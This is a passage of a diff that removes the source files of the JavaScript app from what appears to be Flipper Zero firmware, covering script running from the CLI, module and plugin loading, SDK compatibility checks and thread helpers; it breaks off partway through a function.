if(!dialog_file_browser_show(dialogs, script_path, script_path, &browser_options))
|
||||
break;
|
||||
furi_record_close(RECORD_DIALOGS);
|
||||
}
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(script_path, name, false);
|
||||
FuriString* start_text =
|
||||
furi_string_alloc_printf("Running %s", furi_string_get_cstr(name));
|
||||
console_view_print(app->console_view, furi_string_get_cstr(start_text));
|
||||
console_view_print(app->console_view, "-------------");
|
||||
furi_string_free(name);
|
||||
furi_string_free(start_text);
|
||||
|
||||
app->js_thread = js_thread_run(furi_string_get_cstr(script_path), js_callback, app);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
js_thread_stop(app->js_thread);
|
||||
} while(0);
|
||||
|
||||
furi_string_free(script_path);
|
||||
|
||||
js_app_free(app);
|
||||
return 0;
|
||||
} //-V773
|
||||
|
||||
typedef struct {
|
||||
PipeSide* pipe;
|
||||
FuriSemaphore* exit_sem;
|
||||
} JsCliContext;
|
||||
|
||||
static void js_cli_print(JsCliContext* ctx, const char* msg) {
|
||||
UNUSED(ctx);
|
||||
UNUSED(msg);
|
||||
pipe_send(ctx->pipe, msg, strlen(msg));
|
||||
}
|
||||
|
||||
static void js_cli_exit(JsCliContext* ctx) {
|
||||
furi_check(furi_semaphore_release(ctx->exit_sem) == FuriStatusOk);
|
||||
}
|
||||
|
||||
static void js_cli_callback(JsThreadEvent event, const char* msg, void* context) {
|
||||
JsCliContext* ctx = context;
|
||||
switch(event) {
|
||||
case JsThreadEventError:
|
||||
js_cli_print(ctx, "---- ERROR ----\r\n");
|
||||
js_cli_print(ctx, msg);
|
||||
js_cli_print(ctx, "\r\n");
|
||||
break;
|
||||
case JsThreadEventErrorTrace:
|
||||
js_cli_print(ctx, "Trace:\r\n");
|
||||
js_cli_print(ctx, msg);
|
||||
js_cli_print(ctx, "\r\n");
|
||||
|
||||
js_cli_exit(ctx); // Exit when an error occurs
|
||||
break;
|
||||
case JsThreadEventPrint:
|
||||
js_cli_print(ctx, msg);
|
||||
js_cli_print(ctx, "\r\n");
|
||||
break;
|
||||
case JsThreadEventDone:
|
||||
js_cli_print(ctx, "Script done!\r\n");
|
||||
|
||||
js_cli_exit(ctx);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void js_cli_execute(PipeSide* pipe, FuriString* args, void* context) {
|
||||
UNUSED(context);
|
||||
|
||||
const char* path = furi_string_get_cstr(args);
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
do {
|
||||
if(furi_string_size(args) == 0) {
|
||||
printf("Usage:\r\njs <path>\r\n");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!storage_file_exists(storage, path)) {
|
||||
printf("Can not open file %s\r\n", path);
|
||||
break;
|
||||
}
|
||||
|
||||
JsCliContext ctx = {.pipe = pipe};
|
||||
ctx.exit_sem = furi_semaphore_alloc(1, 0);
|
||||
|
||||
printf("Running script %s, press CTRL+C to stop\r\n", path);
|
||||
JsThread* js_thread = js_thread_run(path, js_cli_callback, &ctx);
|
||||
|
||||
while(furi_semaphore_acquire(ctx.exit_sem, 100) != FuriStatusOk) {
|
||||
if(cli_is_pipe_broken_or_is_etx_next_char(pipe)) break;
|
||||
}
|
||||
|
||||
js_thread_stop(js_thread);
|
||||
furi_semaphore_free(ctx.exit_sem);
|
||||
} while(false);
|
||||
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
void js_app_on_system_start(void) {
|
||||
#ifdef SRV_CLI
|
||||
CliRegistry* registry = furi_record_open(RECORD_CLI);
|
||||
cli_registry_add_command(registry, "js", CliCommandFlagDefault, js_cli_execute, NULL);
|
||||
furi_record_close(RECORD_CLI);
|
||||
#endif
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/loading.h>
|
||||
#include "views/console_view.h"
|
||||
|
||||
typedef enum {
|
||||
JsAppViewConsole,
|
||||
JsAppViewLoading,
|
||||
} JsAppView;
|
||||
@@ -1,338 +0,0 @@
|
||||
#include <core/common_defines.h>
|
||||
#include "js_modules.h"
|
||||
#include <m-array.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
#include <assets_icons.h>
|
||||
|
||||
#include "modules/js_flipper.h"
|
||||
#ifdef FW_CFG_unit_tests
|
||||
#include "modules/js_tests.h"
|
||||
#endif
|
||||
|
||||
#define TAG "JS modules"
|
||||
|
||||
// Absolute path is used to make possible plugin load from CLI
|
||||
#define MODULES_PATH "/ext/apps_data/js_app/plugins"
|
||||
|
||||
typedef struct {
|
||||
FuriString* name;
|
||||
const JsModuleConstructor create;
|
||||
const JsModuleDestructor destroy;
|
||||
void* context;
|
||||
} JsModuleData;
|
||||
|
||||
// not using:
|
||||
// - a dict because ordering is required
|
||||
// - a bptree because it forces a sorted ordering
|
||||
// - an rbtree because i deemed it more tedious to implement, and with the
|
||||
// amount of modules in use (under 10 in the overwhelming majority of cases)
|
||||
// i bet it's going to be slower than a plain array
|
||||
ARRAY_DEF(JsModuleArray, JsModuleData, M_POD_OPLIST); //-V658
|
||||
#define M_OPL_JsModuleArray_t() ARRAY_OPLIST(JsModuleArray)
|
||||
|
||||
static const JsModuleDescriptor modules_builtin[] = {
|
||||
{"flipper", js_flipper_create, NULL, NULL},
|
||||
#ifdef FW_CFG_unit_tests
|
||||
{"tests", js_tests_create, NULL, NULL},
|
||||
#endif
|
||||
};
|
||||
|
||||
struct JsModules {
|
||||
struct mjs* mjs;
|
||||
JsModuleArray_t modules;
|
||||
PluginManager* plugin_manager;
|
||||
CompositeApiResolver* resolver;
|
||||
};
|
||||
|
||||
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver) {
|
||||
JsModules* modules = malloc(sizeof(JsModules));
|
||||
modules->mjs = mjs;
|
||||
JsModuleArray_init(modules->modules);
|
||||
|
||||
modules->plugin_manager = plugin_manager_alloc(
|
||||
PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver));
|
||||
|
||||
modules->resolver = resolver;
|
||||
|
||||
return modules;
|
||||
}
|
||||
|
||||
void js_modules_destroy(JsModules* instance) {
|
||||
for
|
||||
M_EACH(module, instance->modules, JsModuleArray_t) {
|
||||
FURI_LOG_T(TAG, "Tearing down %s", furi_string_get_cstr(module->name));
|
||||
if(module->destroy) module->destroy(module->context);
|
||||
furi_string_free(module->name);
|
||||
}
|
||||
plugin_manager_free(instance->plugin_manager);
|
||||
JsModuleArray_clear(instance->modules);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
JsModuleData* js_find_loaded_module(JsModules* instance, const char* name) {
|
||||
for
|
||||
M_EACH(module, instance->modules, JsModuleArray_t) {
|
||||
if(furi_string_cmp_str(module->name, name) == 0) return module;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len) {
|
||||
// Ignore the initial part of the module name
|
||||
const char* optional_module_prefix = "@" JS_SDK_VENDOR "/fz-sdk/";
|
||||
if(strncmp(name, optional_module_prefix, strlen(optional_module_prefix)) == 0) {
|
||||
name += strlen(optional_module_prefix);
|
||||
}
|
||||
|
||||
// Check if module is already installed
|
||||
JsModuleData* module_inst = js_find_loaded_module(modules, name);
|
||||
if(module_inst) { //-V547
|
||||
mjs_prepend_errorf(
|
||||
modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module is already installed", name);
|
||||
return MJS_UNDEFINED;
|
||||
}
|
||||
|
||||
bool module_found = false;
|
||||
// Check built-in modules
|
||||
for(size_t i = 0; i < COUNT_OF(modules_builtin); i++) { //-V1008
|
||||
size_t name_compare_len = strlen(modules_builtin[i].name);
|
||||
|
||||
if(name_compare_len != name_len) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if(strncmp(name, modules_builtin[i].name, name_compare_len) == 0) {
|
||||
JsModuleData module = {
|
||||
.create = modules_builtin[i].create,
|
||||
.destroy = modules_builtin[i].destroy,
|
||||
.name = furi_string_alloc_set_str(name),
|
||||
};
|
||||
JsModuleArray_push_at(modules->modules, 0, module);
|
||||
module_found = true;
|
||||
FURI_LOG_I(TAG, "Using built-in module %s", name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// External module load
|
||||
if(!module_found) {
|
||||
FuriString* deslashed_name = furi_string_alloc_set_str(name);
|
||||
furi_string_replace_all_str(deslashed_name, "/", "__");
|
||||
FuriString* module_path = furi_string_alloc();
|
||||
furi_string_printf(
|
||||
module_path, "%s/js_%s.fal", MODULES_PATH, furi_string_get_cstr(deslashed_name));
|
||||
FURI_LOG_I(
|
||||
TAG, "Loading external module %s from %s", name, furi_string_get_cstr(module_path));
|
||||
do {
|
||||
uint32_t plugin_cnt_last = plugin_manager_get_count(modules->plugin_manager);
|
||||
PluginManagerError load_error = plugin_manager_load_single(
|
||||
modules->plugin_manager, furi_string_get_cstr(module_path));
|
||||
if(load_error != PluginManagerErrorNone) {
|
||||
FURI_LOG_E(
|
||||
TAG,
|
||||
"Module %s load error. It may depend on other modules that are not yet loaded.",
|
||||
name);
|
||||
break;
|
||||
}
|
||||
const JsModuleDescriptor* plugin =
|
||||
plugin_manager_get_ep(modules->plugin_manager, plugin_cnt_last);
|
||||
furi_assert(plugin);
|
||||
|
||||
if(furi_string_cmp_str(deslashed_name, plugin->name) != 0) {
|
||||
FURI_LOG_E(TAG, "Module name mismatch %s", plugin->name);
|
||||
break;
|
||||
}
|
||||
JsModuleData module = {
|
||||
.create = plugin->create,
|
||||
.destroy = plugin->destroy,
|
||||
.name = furi_string_alloc_set_str(name),
|
||||
};
|
||||
JsModuleArray_push_at(modules->modules, 0, module);
|
||||
|
||||
if(plugin->api_interface) {
|
||||
FURI_LOG_I(TAG, "Added module API to composite resolver: %s", plugin->name);
|
||||
composite_api_resolver_add(modules->resolver, plugin->api_interface);
|
||||
}
|
||||
|
||||
module_found = true;
|
||||
} while(0);
|
||||
furi_string_free(module_path);
|
||||
furi_string_free(deslashed_name);
|
||||
}
|
||||
|
||||
// Run module constructor
|
||||
mjs_val_t module_object = MJS_UNDEFINED;
|
||||
if(module_found) {
|
||||
module_inst = js_find_loaded_module(modules, name);
|
||||
furi_assert(module_inst);
|
||||
if(module_inst->create) { //-V779
|
||||
module_inst->context = module_inst->create(modules->mjs, &module_object, modules);
|
||||
}
|
||||
}
|
||||
|
||||
if(module_object == MJS_UNDEFINED) { //-V547
|
||||
mjs_prepend_errorf(modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module load fail", name);
|
||||
}
|
||||
|
||||
return module_object;
|
||||
}
|
||||
|
||||
void* js_module_get(JsModules* modules, const char* name) {
|
||||
FuriString* module_name = furi_string_alloc_set_str(name);
|
||||
JsModuleData* module_inst = js_find_loaded_module(modules, name);
|
||||
furi_string_free(module_name);
|
||||
return module_inst ? module_inst->context : NULL;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
JsSdkCompatStatusCompatible,
|
||||
JsSdkCompatStatusFirmwareTooOld,
|
||||
JsSdkCompatStatusFirmwareTooNew,
|
||||
} JsSdkCompatStatus;
|
||||
|
||||
/**
|
||||
* @brief Checks compatibility between the firmware and the JS SDK version
|
||||
* expected by the script
|
||||
*/
|
||||
static JsSdkCompatStatus
|
||||
js_internal_sdk_compatibility_status(int32_t exp_major, int32_t exp_minor) {
|
||||
if(exp_major < JS_SDK_MAJOR) return JsSdkCompatStatusFirmwareTooNew;
|
||||
if(exp_major > JS_SDK_MAJOR || exp_minor > JS_SDK_MINOR)
|
||||
return JsSdkCompatStatusFirmwareTooOld;
|
||||
return JsSdkCompatStatusCompatible;
|
||||
}
|
||||
|
||||
static const JsValueDeclaration js_sdk_version_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments js_sdk_version_args = JS_VALUE_ARGS(js_sdk_version_arg_list);
|
||||
|
||||
void js_sdk_compatibility_status(struct mjs* mjs) {
|
||||
int32_t major, minor;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
|
||||
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
|
||||
switch(status) {
|
||||
case JsSdkCompatStatusCompatible:
|
||||
mjs_return(mjs, mjs_mk_string(mjs, "compatible", ~0, 0));
|
||||
return;
|
||||
case JsSdkCompatStatusFirmwareTooOld:
|
||||
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooOld", ~0, 0));
|
||||
return;
|
||||
case JsSdkCompatStatusFirmwareTooNew:
|
||||
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooNew", ~0, 0));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void js_is_sdk_compatible(struct mjs* mjs) {
|
||||
int32_t major, minor;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
|
||||
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, status == JsSdkCompatStatusCompatible));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Asks the user whether to continue executing an incompatible script
|
||||
*/
|
||||
static bool js_internal_compat_ask_user(const char* message) {
|
||||
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
|
||||
DialogMessage* dialog = dialog_message_alloc();
|
||||
dialog_message_set_header(dialog, message, 64, 0, AlignCenter, AlignTop);
|
||||
dialog_message_set_text(
|
||||
dialog, "This script may not\nwork as expected", 79, 32, AlignCenter, AlignCenter);
|
||||
dialog_message_set_icon(dialog, &I_Warning_30x23, 0, 18);
|
||||
dialog_message_set_buttons(dialog, "Go back", NULL, "Run anyway");
|
||||
DialogMessageButton choice = dialog_message_show(dialogs, dialog);
|
||||
dialog_message_free(dialog);
|
||||
furi_record_close(RECORD_DIALOGS);
|
||||
return choice == DialogMessageButtonRight;
|
||||
}
|
||||
|
||||
void js_check_sdk_compatibility(struct mjs* mjs) {
|
||||
int32_t major, minor;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
|
||||
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
|
||||
if(status != JsSdkCompatStatusCompatible) {
|
||||
FURI_LOG_E(
|
||||
TAG,
|
||||
"Script requests JS SDK %ld.%ld, firmware provides JS SDK %d.%d",
|
||||
major,
|
||||
minor,
|
||||
JS_SDK_MAJOR,
|
||||
JS_SDK_MINOR);
|
||||
|
||||
const char* message = (status == JsSdkCompatStatusFirmwareTooOld) ? "Outdated Firmware" :
|
||||
"Outdated Script";
|
||||
if(!js_internal_compat_ask_user(message)) {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static const char* extra_features[] = {
|
||||
"baseline", // dummy "feature"
|
||||
"gpio-pwm",
|
||||
"gui-widget",
|
||||
"serial-framing",
|
||||
"gui-widget-extras",
|
||||
|
||||
// extra modules
|
||||
"blebeacon",
|
||||
"i2c",
|
||||
"spi",
|
||||
"infrared-send",
|
||||
"subghz",
|
||||
"usbdisk",
|
||||
"vgm",
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Determines whether a feature is supported
|
||||
*/
|
||||
static bool js_internal_supports(const char* feature) {
|
||||
for(size_t i = 0; i < COUNT_OF(extra_features); i++) { // -V1008
|
||||
if(strcmp(feature, extra_features[i]) == 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Determines whether all of the requested features are supported
|
||||
*/
|
||||
static bool js_internal_supports_all_of(struct mjs* mjs, mjs_val_t feature_arr) {
|
||||
furi_assert(mjs_is_array(feature_arr));
|
||||
|
||||
for(size_t i = 0; i < mjs_array_length(mjs, feature_arr); i++) {
|
||||
mjs_val_t feature = mjs_array_get(mjs, feature_arr, i);
|
||||
const char* feature_str = mjs_get_string(mjs, &feature, NULL);
|
||||
if(!feature_str) return false;
|
||||
|
||||
if(!js_internal_supports(feature_str)) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static const JsValueDeclaration js_sdk_features_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeAnyArray),
|
||||
};
|
||||
static const JsValueArguments js_sdk_features_args = JS_VALUE_ARGS(js_sdk_features_arg_list);
|
||||
|
||||
void js_does_sdk_support(struct mjs* mjs) {
|
||||
mjs_val_t features;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, js_internal_supports_all_of(mjs, features)));
|
||||
}
|
||||
|
||||
void js_check_sdk_features(struct mjs* mjs) {
|
||||
mjs_val_t features;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
|
||||
if(!js_internal_supports_all_of(mjs, features)) {
|
||||
FURI_LOG_E(TAG, "Script requests unsupported features");
|
||||
|
||||
if(!js_internal_compat_ask_user("Unsupported Feature")) {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,149 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include "js_thread_i.h"
|
||||
#include "js_value.h"
|
||||
#include <flipper_application/flipper_application.h>
|
||||
#include <flipper_application/plugins/plugin_manager.h>
|
||||
#include <flipper_application/plugins/composite_resolver.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define PLUGIN_APP_ID "js"
|
||||
#define PLUGIN_API_VERSION 1
|
||||
|
||||
#define JS_SDK_VENDOR_FIRMWARE "unleashed"
|
||||
#define JS_SDK_VENDOR "flipperdevices"
|
||||
#define JS_SDK_MAJOR 1
|
||||
#define JS_SDK_MINOR 0
|
||||
|
||||
/**
|
||||
* @brief Returns the foreign pointer in `obj["_"]`
|
||||
*/
|
||||
#define JS_GET_INST(mjs, obj) mjs_get_ptr(mjs, mjs_get(mjs, obj, INST_PROP_NAME, ~0))
|
||||
/**
|
||||
* @brief Returns the foreign pointer in `this["_"]`
|
||||
*/
|
||||
#define JS_GET_CONTEXT(mjs) JS_GET_INST(mjs, mjs_get_this(mjs))
|
||||
|
||||
/**
|
||||
* @brief Syntax sugar for constructing an object
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* mjs_val_t my_obj = mjs_mk_object(mjs);
|
||||
* JS_ASSIGN_MULTI(mjs, my_obj) {
|
||||
* JS_FIELD("method1", MJS_MK_FN(js_storage_file_is_open));
|
||||
* JS_FIELD("method2", MJS_MK_FN(js_storage_file_is_open));
|
||||
* }
|
||||
*/
|
||||
#define JS_ASSIGN_MULTI(mjs, object) \
|
||||
for(struct { \
|
||||
struct mjs* mjs; \
|
||||
mjs_val_t val; \
|
||||
int i; \
|
||||
} _ass_multi = {mjs, object, 0}; \
|
||||
_ass_multi.i == 0; \
|
||||
_ass_multi.i++)
|
||||
#define JS_FIELD(name, value) mjs_set(_ass_multi.mjs, _ass_multi.val, name, ~0, value)
|
||||
|
||||
/**
|
||||
* @brief The first word of structures that foreign pointer JS values point to
|
||||
*
|
||||
* This is used to detect situations where JS code mistakenly passes an opaque
|
||||
* foreign pointer of one type as an argument to a native function which expects
|
||||
* a struct of another type.
|
||||
*
|
||||
* It is recommended to use this functionality in conjunction with the following
|
||||
* convenience verification macros:
|
||||
* - `JS_ARG_STRUCT()`
|
||||
* - `JS_ARG_OBJ_WITH_STRUCT()`
|
||||
*
|
||||
* @warning In order for the mechanism to work properly, your struct must store
|
||||
* the magic value in the first word.
|
||||
*/
|
||||
typedef enum {
|
||||
JsForeignMagicStart = 0x15BAD000,
|
||||
JsForeignMagic_JsEventLoopContract,
|
||||
} JsForeignMagic;
|
||||
|
||||
/**
|
||||
* @brief Prepends an error, sets the JS return value to `undefined` and returns
|
||||
* from the C function
|
||||
* @warning This macro executes `return;` by design
|
||||
*/
|
||||
#define JS_ERROR_AND_RETURN(mjs, error_code, ...) \
|
||||
do { \
|
||||
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
|
||||
mjs_return(mjs, MJS_UNDEFINED); \
|
||||
return; \
|
||||
} while(0)
|
||||
|
||||
/**
|
||||
* @brief Prepends an error, sets the JS return value to `undefined` and returns
|
||||
* a value C function
|
||||
* @warning This macro executes `return;` by design
|
||||
*/
|
||||
#define JS_ERROR_AND_RETURN_VAL(mjs, error_code, ret_val, ...) \
|
||||
do { \
|
||||
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
|
||||
mjs_return(mjs, MJS_UNDEFINED); \
|
||||
return ret_val; \
|
||||
} while(0)
|
||||
|
||||
typedef struct JsModules JsModules;
|
||||
|
||||
typedef void* (*JsModuleConstructor)(struct mjs* mjs, mjs_val_t* object, JsModules* modules);
|
||||
typedef void (*JsModuleDestructor)(void* inst);
|
||||
|
||||
typedef struct {
|
||||
char* name;
|
||||
JsModuleConstructor create;
|
||||
JsModuleDestructor destroy;
|
||||
const ElfApiInterface* api_interface;
|
||||
} JsModuleDescriptor;
|
||||
|
||||
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver);
|
||||
|
||||
void js_modules_destroy(JsModules* modules);
|
||||
|
||||
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len);
|
||||
|
||||
/**
|
||||
* @brief Gets a module instance by its name
|
||||
* This is useful when a module wants to access a stateful API of another
|
||||
* module.
|
||||
* @returns Pointer to module context, NULL if the module is not instantiated
|
||||
*/
|
||||
void* js_module_get(JsModules* modules, const char* name);
|
||||
|
||||
/**
|
||||
* @brief `sdkCompatibilityStatus` function
|
||||
*/
|
||||
void js_sdk_compatibility_status(struct mjs* mjs);
|
||||
|
||||
/**
|
||||
* @brief `isSdkCompatible` function
|
||||
*/
|
||||
void js_is_sdk_compatible(struct mjs* mjs);
|
||||
|
||||
/**
|
||||
* @brief `checkSdkCompatibility` function
|
||||
*/
|
||||
void js_check_sdk_compatibility(struct mjs* mjs);
|
||||
|
||||
/**
|
||||
* @brief `doesSdkSupport` function
|
||||
*/
|
||||
void js_does_sdk_support(struct mjs* mjs);
|
||||
|
||||
/**
|
||||
* @brief `checkSdkFeatures` function
|
||||
*/
|
||||
void js_check_sdk_features(struct mjs* mjs);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,357 +0,0 @@
|
||||
#include <common/cs_dbg.h>
|
||||
#include <toolbox/path.h>
|
||||
#include <toolbox/stream/file_stream.h>
|
||||
#include <toolbox/strint.h>
|
||||
#include <loader/firmware_api/firmware_api.h>
|
||||
#include <flipper_application/api_hashtable/api_hashtable.h>
|
||||
#include <flipper_application/plugins/composite_resolver.h>
|
||||
#include <furi_hal.h>
|
||||
#include "plugin_api/app_api_interface.h"
|
||||
#include "js_thread.h"
|
||||
#include "js_thread_i.h"
|
||||
#include "js_modules.h"
|
||||
|
||||
#define TAG "JS"
|
||||
|
||||
struct JsThread {
|
||||
FuriThread* thread;
|
||||
FuriString* path;
|
||||
CompositeApiResolver* resolver;
|
||||
JsThreadCallback app_callback;
|
||||
void* context;
|
||||
JsModules* modules;
|
||||
};
|
||||
|
||||
static void js_str_print(FuriString* msg_str, struct mjs* mjs) {
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
for(size_t i = 0; i < num_args; i++) {
|
||||
char* name = NULL;
|
||||
size_t name_len = 0;
|
||||
int need_free = 0;
|
||||
mjs_val_t arg = mjs_arg(mjs, i);
|
||||
mjs_err_t err = mjs_to_string(mjs, &arg, &name, &name_len, &need_free);
|
||||
if(err != MJS_OK) {
|
||||
furi_string_cat_printf(msg_str, "err %s ", mjs_strerror(mjs, err));
|
||||
} else {
|
||||
furi_string_cat_printf(msg_str, "%s ", name);
|
||||
}
|
||||
if(need_free) {
|
||||
free(name);
|
||||
name = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void js_print(struct mjs* mjs) {
|
||||
FuriString* msg_str = furi_string_alloc();
|
||||
js_str_print(msg_str, mjs);
|
||||
|
||||
JsThread* worker = mjs_get_context(mjs);
|
||||
furi_assert(worker);
|
||||
if(worker->app_callback) {
|
||||
worker->app_callback(JsThreadEventPrint, furi_string_get_cstr(msg_str), worker->context);
|
||||
} else {
|
||||
FURI_LOG_D(TAG, "%s\r\n", furi_string_get_cstr(msg_str));
|
||||
}
|
||||
|
||||
furi_string_free(msg_str);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_console_log(struct mjs* mjs) {
|
||||
FuriString* msg_str = furi_string_alloc();
|
||||
js_str_print(msg_str, mjs);
|
||||
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(msg_str));
|
||||
furi_string_free(msg_str);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_console_warn(struct mjs* mjs) {
|
||||
FuriString* msg_str = furi_string_alloc();
|
||||
js_str_print(msg_str, mjs);
|
||||
FURI_LOG_W(TAG, "%s", furi_string_get_cstr(msg_str));
|
||||
furi_string_free(msg_str);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_console_error(struct mjs* mjs) {
|
||||
FuriString* msg_str = furi_string_alloc();
|
||||
js_str_print(msg_str, mjs);
|
||||
FURI_LOG_E(TAG, "%s", furi_string_get_cstr(msg_str));
|
||||
furi_string_free(msg_str);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_console_debug(struct mjs* mjs) {
|
||||
FuriString* msg_str = furi_string_alloc();
|
||||
js_str_print(msg_str, mjs);
|
||||
FURI_LOG_D(TAG, "%s", furi_string_get_cstr(msg_str));
|
||||
furi_string_free(msg_str);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_exit_flag_poll(struct mjs* mjs) {
|
||||
uint32_t flags = furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, 0);
|
||||
if(flags & FuriFlagError) {
|
||||
return;
|
||||
}
|
||||
if(flags & ThreadEventStop) {
|
||||
mjs_exit(mjs);
|
||||
}
|
||||
}
|
||||
|
||||
bool js_delay_with_flags(struct mjs* mjs, uint32_t time) {
|
||||
uint32_t flags =
|
||||
furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, time);
|
||||
if(flags & FuriFlagError) {
|
||||
return false;
|
||||
}
|
||||
if(flags & ThreadEventStop) {
|
||||
mjs_exit(mjs);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void js_flags_set(struct mjs* mjs, uint32_t flags) {
|
||||
JsThread* worker = mjs_get_context(mjs);
|
||||
furi_assert(worker);
|
||||
furi_thread_flags_set(furi_thread_get_id(worker->thread), flags);
|
||||
}
|
||||
|
||||
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags_mask, uint32_t timeout) {
|
||||
flags_mask |= ThreadEventStop;
|
||||
uint32_t flags = furi_thread_flags_get();
|
||||
furi_check((flags & FuriFlagError) == 0);
|
||||
if(flags == 0) {
|
||||
flags = furi_thread_flags_wait(flags_mask, FuriFlagWaitAny | FuriFlagNoClear, timeout);
|
||||
} else {
|
||||
uint32_t state = furi_thread_flags_clear(flags & flags_mask);
|
||||
furi_check((state & FuriFlagError) == 0);
|
||||
}
|
||||
|
||||
if(flags & FuriFlagError) {
|
||||
return 0;
|
||||
}
|
||||
if(flags & ThreadEventStop) {
|
||||
mjs_exit(mjs);
|
||||
}
|
||||
return flags;
|
||||
}
|
||||
|
||||
static void js_delay(struct mjs* mjs) {
|
||||
bool args_correct = false;
|
||||
int ms = 0;
|
||||
|
||||
if(mjs_nargs(mjs) == 1) {
|
||||
mjs_val_t arg = mjs_arg(mjs, 0);
|
||||
if(mjs_is_number(arg)) {
|
||||
ms = mjs_get_int(mjs, arg);
|
||||
args_correct = true;
|
||||
}
|
||||
}
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
js_delay_with_flags(mjs, ms);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void* js_dlsym(void* handle, const char* name) {
|
||||
CompositeApiResolver* resolver = handle;
|
||||
Elf32_Addr addr = 0;
|
||||
uint32_t hash = elf_symbolname_hash(name);
|
||||
const ElfApiInterface* api = composite_api_resolver_get(resolver);
|
||||
|
||||
if(!api->resolver_callback(api, hash, &addr)) {
|
||||
FURI_LOG_E(TAG, "FFI: cannot find \"%s\"", name);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (void*)addr;
|
||||
}
|
||||
|
||||
static void js_ffi_address(struct mjs* mjs) {
|
||||
mjs_val_t name_v = mjs_arg(mjs, 0);
|
||||
size_t len;
|
||||
const char* name = mjs_get_string(mjs, &name_v, &len);
|
||||
void* addr = mjs_ffi_resolve(mjs, name);
|
||||
mjs_return(mjs, mjs_mk_foreign(mjs, addr));
|
||||
}
|
||||
|
||||
static void js_require(struct mjs* mjs) {
|
||||
mjs_val_t name_v = mjs_arg(mjs, 0);
|
||||
size_t len;
|
||||
